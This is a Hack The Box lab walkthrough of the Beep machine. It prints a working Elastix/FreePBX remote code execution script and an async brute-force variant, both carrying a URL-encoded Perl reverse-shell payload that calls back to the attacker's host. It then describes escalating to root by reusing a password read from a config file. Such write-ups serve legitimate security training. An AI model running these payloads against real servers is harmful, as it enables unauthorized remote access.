Beep — Hack The Box — Walkthrough
Welcome back! Today we will be going over Beep, the 5th box released on Hack The Box. We start with an RCE exploit for the Elastix service…
Beep — Hack The Box — Walkthrough
Welcome back! Today we will be going over Beep, the 5th box released on Hack The Box. We start with an RCE exploit for the Elastix service running (which we take way overboard with some async Python scripting) and some simple password reuse for the priv esc.

Recon
As always, let’s start with our nmap.

We find lots of ports open. Let’s start with the web server on port 80.

Elastix — Remote Code Execution
Upon visiting the site, we get a “SSL_ERROR_BAD_CERT_DOMAIN” error. The easiest way to get around this (in my opinion) is to get Burp running, install the Burp CA cert within Firefox, and proxy your traffic over from your browser.
Once we finally get on, we see an “Elastix” service running.

A quick Google search will return numerous exploits. Since we don’t know the version running, we will need to play a bit of guess-and-check.
Using searchsploit we find a Remote Code Execution vulnerability for Elastix / FreePBX:

This same vulnerability is also detailed here:
And the exploit script can be found here:
The description in the Rapid7 article explains that “in order to use this module properly, you must know the extension number, which can be enumerated or bruteforced”.
We can observe in the ExploitDB script that the extension is set to 1000. Let’s modify the script slightly, including the lhost and rhost values, and add a print statement to read the response from the website, and run it.
import urllib
import ssl
rhost="10.10.10.7"
lhost="10.10.14.8"
lport=443
extension="1000"
ssl._create_default_https_context = ssl._create_unverified_context
# Reverse shell payload
url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'
a = urllib.urlopen(url)
print a.read().decode()
Response:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<TITLE>Voicemail Message Call Me Control</TITLE>
<link rel="stylesheet" href="../theme/main.css" type="text/css">
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
</head>
<table class='voicemail' style='width: 100%; height: 100%; margin: 0 0 0 0; border: 0px; padding: 0px'><tr><td valign='middle' style='border: 0px'></td></tr></table><script language='javascript'>parent.document.getElementById('callme_status').innerHTML = 'The call failed. Perhaps the line was busy.';</script><script language='javascript'>parent.document.getElementById('pb_load_inprogress').value='false';</script><script language='javascript'>parent.document.getElementById('callme_status').parentNode.style.backgroundColor = 'white';</script> </body>
</html>
We can see that we get an error from the site:
“The call failed. Perhaps the line was busy.”
Custom Python Script — Async Web Requests (Foothold / User)
The “call failed” error is a good indicator that the extension we have used is wrong / invalid. Let’s write a new script that bruteforces the extension. We will write it to work asynchronously to speed up the time taken:
import aiohttp
import asyncio
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
rhost="10.10.10.7"
lhost="10.10.14.10"
lport=443
numb = 1000
urls = []
for extension in range(numb):
urls.append('https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A')
async def fetch_url(session, url):
try:
async with session.get(url, ssl=False) as response:
r = await response.text()
while "Unable to connect to Asterisk Manager Interface " in r:
print("Bruteforcing too fast, trying this extension again in 10 seconds")
sleep(10)
try:
async with session.get(url, ssl=False) as response:
r = await response.text()
except Exception as e:
return str(e)
if "The call failed. Perhaps the line was busy." not in r:
print("Extension found!")
print(url)
quit()
return
except Exception as e:
return str(e)
async def main():
print("Making", numb, "web requests, please be patient.")
async with aiohttp.ClientSession() as session:
tasks = [fetch_url(session, url) for url in urls]
responses = await asyncio.gather(*tasks)
asyncio.run(main())
Let’s quickly go over how this script works:
- Before the main() function is run, our program creates a list called
urlsthat contains a URL payload string for all extensions from 0 to 999 (1000 items in total) - We use the
asynciolibrary to run our async main function - In the main() function, we create a new
aiohttpsession, and run thefetch_urlfunction for each URL inurls - In fetch_url(), we pass in the
aiohttpsession and the target URL and make a request to the web server. Since we are sending heaps of requests at the same time, the web server occasionally gets overloaded. When this happens, we wait 10 seconds and resend the request. Otherwise, if our previously identified error message “The call failed. Perhaps the line was busy.” is not contained within the HTTP response, we know we have found the correct extension, and we can kill the script.
Let’s setup our listener and run the script. We can see that the extension 233 worked, and we get a shell!

This shell is quite unstable — be sure to get a more reliable shell using a reverse shell payload (heaps here: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp) before continuing.
The “asterisk” user has access to “fanis” home directory, containing user.txt.

Password Reuse (Priv Esc / Root)
Now that we are on the box, let’s have a look around. We know that Elastix is running — let’s see if we can find any credentials in any configuration files on the system.
Some Google searching led me to this forum:
A user mentions the file /etc/elastix.conf should contain some credentials. Let’s check it out on the system:

We find the same password used 3 times, “jEhdIekWmdjE”. With this much password reuse, maybe we should check if the same password is being used for the root user too??

After some tinkering with the ssh command, we are able to login as root on the system using this password! Fetch your flag :)
메타데이터
- post_id
- d651f2c7d997
- slug
- beep-hack-the-box-walkthrough-d651f2c7d997
- url
- https://medium.com/@coopertimewell/beep-hack-the-box-walkthrough-d651f2c7d997
- canonical_url
- https://medium.com/@coopertimewell/beep-hack-the-box-walkthrough-d651f2c7d997
- author_url
- https://medium.com/@coopertimewell
- status
- ok
- fetched_at
- 2026-06-27 23:56:40